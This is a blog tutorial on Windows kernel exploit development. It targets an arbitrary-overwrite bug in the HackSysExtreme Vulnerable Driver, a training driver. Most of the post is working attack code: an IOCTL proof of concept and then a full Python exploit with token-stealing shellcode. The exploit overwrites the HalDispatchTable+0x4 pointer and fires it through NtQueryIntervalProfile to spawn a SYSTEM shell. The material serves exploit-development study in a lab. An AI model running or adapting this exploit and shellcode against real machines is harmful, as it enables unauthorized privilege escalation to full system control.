Exploit Development: Windows Kernel Exploitation - Arbitrary Overwrites (Write-What-Where)
Introduction
In a previous post, I talked about setting up a Windows kernel debugging environment. Today, I will be building on that foundation produced within that post. Again, we will be taking a look at the HackSysExtreme vulnerable driver. The HackSysExtreme team implemented a plethora of vulnerabilities here, based on the IOCTL code sent to the driver. The vulnerability we are going to take look at today is what is known as an arbitrary overwrite.
At a very high level what this means, is an adversary has the ability to write a piece of data (generally going to be a shellcode) to a particular, controlled location. As you may recall from my previous post, the reason why we are able to obtain local administrative privileges (NT AUTHORITY\SYSTEM
) is because we have the ability to do the following:
- Allocate a piece of memory in user land that contains our shellcode
- Execute said shellcode from the context of ring 0 in kernel land
Since the shellcode is being executed in the context of ring 0, which runs as local administrator, the shellcode will be ran with administrative privileges. Since our shellcode will copy the NT AUTHORITY\SYSTEM
token to a cmd.exe
process - our shell will be an administrative shell.
Code Analysis
First let’s look at the ArbitraryWrite.h header file.
Take a look at the following snippet:
typedef struct _WRITE_WHAT_WHERE
{
PULONG_PTR What;
PULONG_PTR Where;
} WRITE_WHAT_WHERE, *PWRITE_WHAT_WHERE;
typedef in C, allows us to create our own data type. Just as char
and int
are data types, here we have defined our own data type.
Then, the WRITE_WHAT_WHERE
line, is an alias that can be now used to reference the struct _WRITE_WHAT_WHERE
. Then lastly, an aliased pointer is created called PWRITE_WHAT_WHERE
.
Most importantly, we have a pointer called What
and a pointer called Where
. Essentially now, WRITE_WHAT_WHERE
refers to this struct containing What
and Where
. PWRITE_WHAT_WHERE
, when referenced, is a pointer to this struct.
Moving on down the header file, this is presented to us:
NTSTATUS
TriggerArbitraryWrite(
_In_ PWRITE_WHAT_WHERE UserWriteWhatWhere
);
Now, the variable UserWriteWhatWhere
has been attributed to the datatype PWRITE_WHAT_WHERE
. As you can recall from above, PWRITE_WHAT_WHERE
is a pointer to the struct that contains What
and Where
pointers (Which will be exploited later on). From now on UserWriteWhatWhere
also points to the struct.
Let’s move on to the source file, ArbitraryWrite.c.
The above function, TriggerArbitraryWrite()
is passed to the source file.
Then, the What
and Where
pointers declared earlier in the struct, are initialized as NULL pointers:
PULONG_PTR What = NULL;
PULONG_PTR Where = NULL;
Then finally, we reach our vulnerability:
#else
DbgPrint("[+] Triggering Arbitrary Write\n");
//
// Vulnerability Note: This is a vanilla Arbitrary Memory Overwrite vulnerability
// because the developer is writing the value pointed by 'What' to memory location
// pointed by 'Where' without properly validating if the values pointed by 'Where'
// and 'What' resides in User mode
//
*(Where) = *(What);
As you can see, an adversary could write the value pointed by What
to the memory location referenced by Where
. The real issue is that there is no validation, using a Windows API function such as ProbeForRead() and ProbeForWrite, that confirms whether or not the values of What
and Where
reside in user mode. Knowing this, we will be able to utilize our user mode shellcode going forward for the exploit.
IOCTL
As you can recall in the last blog, the IOCTL code that was used to interact with the HEVD vulnerable driver and take advantage of the TriggerStackOverflow()
function, occurred at this routine:
After tracing the IOCTL routine that jumps into the TriggerArbitraryOverwrite()
function, here is what is displayed:
The above routine is part of a chain as displayed as below:
Now time to calculate the IOCTL code - which allows us to interact with the vulnerable routine. Essentially, look at the very first routine from above, that was utilized for my last blog post. The IOCTL code was 0x222003
. (Notice how the value is only 6 digits, even though x86 requires 8 digits in a memory address. 0x222003
= 0x00222003
) The instruction of sub eax, 0x222003
will yield a value of zero, and the jz short loc_155FB
(jump if zero) will jump into the TriggerStackOverflow()
function. So essentially using deductive reasoning, EAX contains a value of 0x222003
at the time the jump is taken.
Looking at the second and third routines in the image above:
sub eax, 4
jz short loc_155E3
and
sub eax, 4
jz short loc_155CB
Our goal is to successfully complete the “jump if zero” jump into the applicable vulnerability. In this case, the third routine shown above, will lead us directly into the TriggerArbitraryOverwrite()
, if the corresponding “jump if zero” jump is completed.
If EAX is currently at 0x222003
, and EAX is subtracted a total of 8 times, let’s try adding 8 to the current IOCTL code from the last exploit - 0x222003
. Adding 8 will give us a value of 0x22200B
, or 0x0022200B
as a legitimate x86 value. That means by the time the value of EAX reaches the last routine, it will equal 0x222003
and make the applicable jump into the TriggerArbitraryOverwrite()
function!
Proof Of Concept
Utilizing the newly calculated IOCTL, let’s create a POC:
import struct
import sys
import os
from ctypes import *
from subprocess import *
# DLLs for Windows API interaction
kernel32 = windll.kernel32
ntdll = windll.ntdll
psapi = windll.Psapi
# Getting handle to driver to return to DeviceIoControl() function
print "[+] Using CreateFileA() to obtain and return handle referencing the driver..."
handle = kernel32.CreateFileA(
"\\\\.\\HackSysExtremeVulnerableDriver", # lpFileName
0xC0000000, # dwDesiredAccess
0, # dwShareMode
None, # lpSecurityAttributes
0x3, # dwCreationDisposition
0, # dwFlagsAndAttributes
None # hTemplateFile
)
poc = "\x41\x41\x41\x41" # What
poc += "\x42\x42\x42\x42" # Where
poc_length = len(poc)
# 0x002200B = IOCTL code that will jump to TriggerArbitraryOverwrite() function
kernel32.DeviceIoControl(
handle, # hDevice
0x0022200B, # dwIoControlCode
poc, # lpInBuffer
poc_length, # nInBufferSize
None, # lpOutBuffer
0, # nOutBufferSize
byref(c_ulong()), # lpBytesReturned
None # lpOverlapped
)
After setting up the debugging environment, run the POC. As you can see - What
and Where
have been cleanly overwritten!:
HALp! How Do I Hax?
At the current moment, we have the ability to write a given value at a certain location. How does this help? Let’s talk a bit more on the ability to execute user mode shellcode from kernel mode.
In the stack overflow vulnerability, our user mode memory was directly copied to kernel mode - without any check. In this case, however, things are not that straight forward. Here, there is no memory copy DIRECTLY to kernel mode.
However, there is one way we can execute user mode shellcode from kernel mode. Said way is via the HalDispatchTable (Hardware Abstraction Layer Dispatch Table).
Let’s talk about why we are doing what we are doing, and why the HalDispatchTable is important.
The hardware abstraction layer, in Windows, is a part of the kernel that provides routines dealing with hardware/machine instructions. Basically it allows multiple hardware architectures to be compatible with Windows, without the need for a different version of the operating system.
Having said that, there is an undocumented Windows API function known as NtQueryIntervalProfile().
What does NtQueryIntervalProfile()
have to do with the kernel? How does the HalDispatchTable even help us? Let’s talk about this.
If you disassemble the NtQueryIntervalProfile()
in WinDbg, you will see that a function called KeQueryIntervalProfile()
is called in this function:
uf nt!NtQueryIntervalProfile
:
If we disassemble the KeQueryIntervalProfile()
, you can see the HalDispatchTable actually gets called by this function, via a pointer!
uf nt!KeQueryIntervalProfile
:
Essentially, the address at HalDispatchTable + 0x4, is passed via KeQueryIntervalProfile()
. If we can overwrite that pointer with a pointer to our user mode shellcode, natural execution will eventually execute our shellcode, when NtQueryIntervalProfile()
(which calls KeQueryIntervalProfile()
) is called!
Order Of Operations
Here are the steps we need to take, in order for this to work:
- Enumerate all drivers addresses via EnumDeviceDrivers()
- Sort through the list of addresses for the address of
ntkornl.exe
(ntoskrnl.exe
exportsKeQueryIntervalProfile()
) - Load
ntoskrnl.exe
handle into LoadLibraryExA and then enumerate the HalDispatchTable address via GetProcAddress - Once the HalDispatchTable address is found, we will calculate the address of HalDispatchTable + 0x4 (by adding 4 bytes), and overwrite that pointer with a pointer to our user mode shellcode
EnumDeviceDrivers()
# Enumerating addresses for all drivers via EnumDeviceDrivers()
base = (c_ulong * 1024)()
get_drivers = psapi.EnumDeviceDrivers(
byref(base), # lpImageBase (array that receives list of addresses)
c_int(1024), # cb (size of lpImageBase array, in bytes)
byref(c_long()) # lpcbNeeded (bytes returned in the array)
)
# Error handling if function fails
if not base:
print "[+] EnumDeviceDrivers() function call failed!"
sys.exit(-1)
This snippet of code enumerates the base addresses for the drivers, and exports them to an array. After the base addresses have been enumerated, we can move on to finding the address of ntoskrnl.exe
ntoskrnl.exe
# Cycle through enumerated addresses, for ntoskrnl.exe using GetDeviceDriverBaseNameA()
for base_address in base:
if not base_address:
continue
current_name = c_char_p('\x00' * 1024)
driver_name = psapi.GetDeviceDriverBaseNameA(
base_address, # ImageBase (load address of current device driver)
current_name, # lpFilename
48 # nSize (size of the buffer, in chars)
)
# Error handling if function fails
if not driver_name:
print "[+] GetDeviceDriverBaseNameA() function call failed!"
sys.exit(-1)
if current_name.value.lower() == 'ntkrnl' or 'ntkrnl' in current_name.value.lower():
# When ntoskrnl.exe is found, return the value at the time of being found
current_name = current_name.value
# Print update to show address of ntoskrnl.exe
print "[+] Found address of ntoskrnl.exe at: {0}".format(hex(base_address))
# It assumed the information needed from the for loop has been found if the program has reached execution at this point.
# Stopping the for loop to move on.
break
This is a snippet of code that essentially will loop through the array where all of the base addresses have been exported to, and search for ntoskrnl.exe
via GetDeviceDriverBaseNameA()
. Once that has been found, the address will be stored.
LoadLibraryExA()
# Beginning enumeration
kernel_handle = kernel32.LoadLibraryExA(
current_name, # lpLibFileName (specifies the name of the module, in this case ntlkrnl.exe)
None, # hFile (parameter must be null)
0x00000001 # dwFlags (DONT_RESOLVE_DLL_REFERENCES)
)
# Error handling if function fails
if not kernel_handle:
print "[+] LoadLibraryExA() function failed!"
sys.exit(-1)
In this snippet, LoadLibraryExA()
receives the handle from GetDeviceDriverBaseNameA()
(which is ntoskrnl.exe
in this case). It then proceeds, in the snippet below, to pass the handle loaded into memory (which is still ntoskrnl.exe
) to the function GetProcAddress()
.
GetProcAddress()
hal = kernel32.GetProcAddress(
kernel_handle, # hModule (handle passed via LoadLibraryExA to ntoskrnl.exe)
'HalDispatchTable' # lpProcName (name of value)
)
# Subtracting ntoskrnl base in user mode
hal -= kernel_handle
# Add base address of ntoskrnl in kernel mode
hal += base_address
# Recall earlier we were more interested in HAL + 0x4. Let's grab that address.
real_hal = hal + 0x4
# Print update with HAL and HAL + 0x4 location
print "[+] HAL location: {0}".format(hex(hal))
print "[+] HAL + 0x4 location: {0}".format(hex(real_hal))
GetProcAddress()
will reveal to us the address of the HalDispatchTable and HalDispatchTable + 0x4. We are more interested in HalDispatchTable + 0x4.
Once we have the address for HalDispatchTable + 0x4, we can weaponize our exploit:
# HackSysExtreme Vulnerable Driver Kernel Exploit (Arbitrary Overwrite)
# Author: Connor McGarr
import struct
import sys
import os
from ctypes import *
from subprocess import *
# DLLs for Windows API interaction
kernel32 = windll.kernel32
ntdll = windll.ntdll
psapi = windll.Psapi
class WriteWhatWhere(Structure):
_fields_ = [
("What", c_void_p),
("Where", c_void_p)
]
payload = bytearray(
"\x90\x90\x90\x90" # NOP sled
"\x60" # pushad
"\x31\xc0" # xor eax,eax
"\x64\x8b\x80\x24\x01\x00\x00" # mov eax,[fs:eax+0x124]
"\x8b\x40\x50" # mov eax,[eax+0x50]
"\x89\xc1" # mov ecx,eax
"\xba\x04\x00\x00\x00" # mov edx,0x4
"\x8b\x80\xb8\x00\x00\x00" # mov eax,[eax+0xb8]
"\x2d\xb8\x00\x00\x00" # sub eax,0xb8
"\x39\x90\xb4\x00\x00\x00" # cmp [eax+0xb4],edx
"\x75\xed" # jnz 0x1a
"\x8b\x90\xf8\x00\x00\x00" # mov edx,[eax+0xf8]
"\x89\x91\xf8\x00\x00\x00" # mov [ecx+0xf8],edx
"\x61" # popad
"\x31\xc0" # xor eax, eax (restore execution)
"\x83\xc4\x24" # add esp, 0x24 (restore execution)
"\x5d" # pop ebp
"\xc2\x08\x00" # ret 0x8
)
# Defeating DEP with VirtualAlloc. Creating RWX memory, and copying our shellcode in that region.
print "[+] Allocating RWX region for shellcode"
ptr = kernel32.VirtualAlloc(
c_int(0), # lpAddress
c_int(len(payload)), # dwSize
c_int(0x3000), # flAllocationType
c_int(0x40) # flProtect
)
# Creates a ctype variant of the payload (from_buffer)
c_type_buffer = (c_char * len(payload)).from_buffer(payload)
print "[+] Copying shellcode to newly allocated RWX region"
kernel32.RtlMoveMemory(
c_int(ptr), # Destination (pointer)
c_type_buffer, # Source (pointer)
c_int(len(payload)) # Length
)
# Python, when using id to return a value, creates an offset of 20 bytes to the value (first bytes reference variable)
# After id returns the value, it is then necessary to increase the returned value 20 bytes
payload_address = id(payload) + 20
payload_updated = struct.pack("<L", ptr)
payload_final = id(payload_updated) + 20
# Location of shellcode update statement
print "[+] Location of shellcode: {0}".format(hex(payload_address))
# Location of pointer to shellcode
print "[+] Location of pointer to shellcode: {0}".format(hex(payload_final))
# The goal is to eventually locate HAL table.
# HAL is exported by ntoskrnl.exe
# ntoskrnl.exe's location can be enumerated via EnumDeviceDrivers() and GetDEviceDriverBaseNameA() functions via Windows API.
# Enumerating addresses for all drivers via EnumDeviceDrivers()
base = (c_ulong * 1024)()
get_drivers = psapi.EnumDeviceDrivers(
byref(base), # lpImageBase (array that receives list of addresses)
c_int(1024), # cb (size of lpImageBase array, in bytes)
byref(c_long()) # lpcbNeeded (bytes returned in the array)
)
# Error handling if function fails
if not base:
print "[+] EnumDeviceDrivers() function call failed!"
sys.exit(-1)
# Cycle through enumerated addresses, for ntoskrnl.exe using GetDeviceDriverBaseNameA()
for base_address in base:
if not base_address:
continue
current_name = c_char_p('\x00' * 1024)
driver_name = psapi.GetDeviceDriverBaseNameA(
base_address, # ImageBase (load address of current device driver)
current_name, # lpFilename
48 # nSize (size of the buffer, in chars)
)
# Error handling if function fails
if not driver_name:
print "[+] GetDeviceDriverBaseNameA() function call failed!"
sys.exit(-1)
if current_name.value.lower() == 'ntkrnl' or 'ntkrnl' in current_name.value.lower():
# When ntoskrnl.exe is found, return the value at the time of being found
current_name = current_name.value
# Print update to show address of ntoskrnl.exe
print "[+] Found address of ntoskrnl.exe at: {0}".format(hex(base_address))
# It assumed the information needed from the for loop has been found if the program has reached execution at this point.
# Stopping the for loop to move on.
break
# Now that all of the proper information to reference HAL has been enumerated, it is time to get the location of HAL and HAL 0x4
# NtQueryIntervalProfile is an undocumented Windows API function that references HAL at the location of HAL + 0x4.
# HAL +0x4 is the address we will eventually need to write over. Once HAL is exported, we will be most interested in HAL + 0x4
# Beginning enumeration
kernel_handle = kernel32.LoadLibraryExA(
current_name, # lpLibFileName (specifies the name of the module, in this case ntlkrnl.exe)
None, # hFile (parameter must be null
0x00000001 # dwFlags (DONT_RESOLVE_DLL_REFERENCES)
)
# Error handling if function fails
if not kernel_handle:
print "[+] LoadLibraryExA() function failed!"
sys.exit(-1)
# Getting HAL Address
hal = kernel32.GetProcAddress(
kernel_handle, # hModule (handle passed via LoadLibraryExA to ntoskrnl.exe)
'HalDispatchTable' # lpProcName (name of value)
)
# Subtracting ntoskrnl base in user mode
hal -= kernel_handle
# Add base address of ntoskrnl in kernel mode
hal += base_address
# Recall earlier we were more interested in HAL + 0x4. Let's grab that address.
real_hal = hal + 0x4
# Print update with HAL and HAL + 0x4 location
print "[+] HAL location: {0}".format(hex(hal))
print "[+] HAL + 0x4 location: {0}".format(hex(real_hal))
# Referencing class created at the beginning of the sploit and passing shellcode to vulnerable pointers
# This is where the exploit occurs
write_what_where = WriteWhatWhere()
write_what_where.What = payload_final # What we are writing (our shellcode)
write_what_where.Where = real_hal # Where we are writing it to (HAL + 0x4). NtQueryIntervalProfile() will eventually call this location and execute it
write_what_where_pointer = pointer(write_what_where)
# Print update statement to reflect said exploit
print "[+] What: {0}".format(hex(write_what_where.What))
print "[+] Where: {0}".format(hex(write_what_where.Where))
# Getting handle to driver to return to DeviceIoControl() function
print "[+] Using CreateFileA() to obtain and return handle referencing the driver..."
handle = kernel32.CreateFileA(
"\\\\.\\HackSysExtremeVulnerableDriver", # lpFileName
0xC0000000, # dwDesiredAccess
0, # dwShareMode
None, # lpSecurityAttributes
0x3, # dwCreationDisposition
0, # dwFlagsAndAttributes
None # hTemplateFile
)
# 0x002200B = IOCTL code that will jump to TriggerArbitraryOverwrite() function
kernel32.DeviceIoControl(
handle, # hDevice
0x0022200B, # dwIoControlCode
write_what_where_pointer, # lpInBuffer
0x8, # nInBufferSize
None, # lpOutBuffer
0, # nOutBufferSize
byref(c_ulong()), # lpBytesReturned
None # lpOverlapped
)
# Actually calling NtQueryIntervalProfile function, which will call HAL + 0x4, where our shellcode will be waiting.
ntdll.NtQueryIntervalProfile(
0x1234,
byref(c_ulong())
)
# Print update for nt_autority\system shell
print "[+] Enjoy the NT AUTHORITY\SYSTEM shell!!!!"
Popen("start cmd", shell=True)
There is a lot to digest here. Let’s look at the following:
# Referencing class created at the beginning of the sploit and passing shellcode to vulnerable pointers
# This is where the exploit occurs
write_what_where = WriteWhatWhere()
write_what_where.What = payload_final # What we are writing (our shellcode)
write_what_where.Where = real_hal # Where we are writing it to (HAL + 0x4). NtQueryIntervalProfile() will eventually call this location and execute it
write_what_where_pointer = pointer(write_what_where)
# Print update statement to reflect said exploit
print "[+] What: {0}".format(hex(write_what_where.What))
print "[+] Where: {0}".format(hex(write_what_where.Where))
Here, is where the What
and Where
come into play. We create a variable called write_what_where
and we call the What
pointer from the class created called WriteWhatWhere()
. That value gets set to equal the address of a pointer to our shellcode. The same thing happens with Where
, but it receives the value of HalDispatchTable + 0x4. And in the end, a pointer to the variable write_what_where
, which has inherited all of our useful information about our pointer to the shellcode and HalDispatchTable + 0x4, is passed in the DeviceIoControl()
function, which actually interacts with the driver.
One last thing. Take a peak here:
# Actually calling NtQueryIntervalProfile function, which will call HAL + 0x4, where our shellcode will be waiting.
ntdll.NtQueryIntervalProfile(
0x1234,
byref(c_ulong())
)
The whole reason this exploit works in the first place, is because after everything is in place, we call NtQueryIntervalProfile()
. Although this function never receives any of our parameters, pointers, or variables - it does not matter. Our shellcode will be located at HalDispatchTable + 0x4 BEFORE the call to NtQueryIntervalProfile()
. Calling NtQueryIntervalProfile()
ensures that location of HalDispatchTable + 0x4 (because NtQueryIntervalProfile()
calls KeQueryIntervalProfile()
, which calls HalDispatchTable + 0x4) gets executed. And then just like that - our payload will be executed!
All Together Now
Final execution of the exploit - and we have an administrative shell!! Pwn all of the things!
Wrapping Up
Thanks again to the HackSysExtreme team for their vulnerable driver, and other fellow security researchers like rootkit for their research! As I keep going down the kernel route, I hope to be making it over to x64 here in the near future! Please contact me with any questions, comments, or corrections!
Peace, love, and positivity! :-)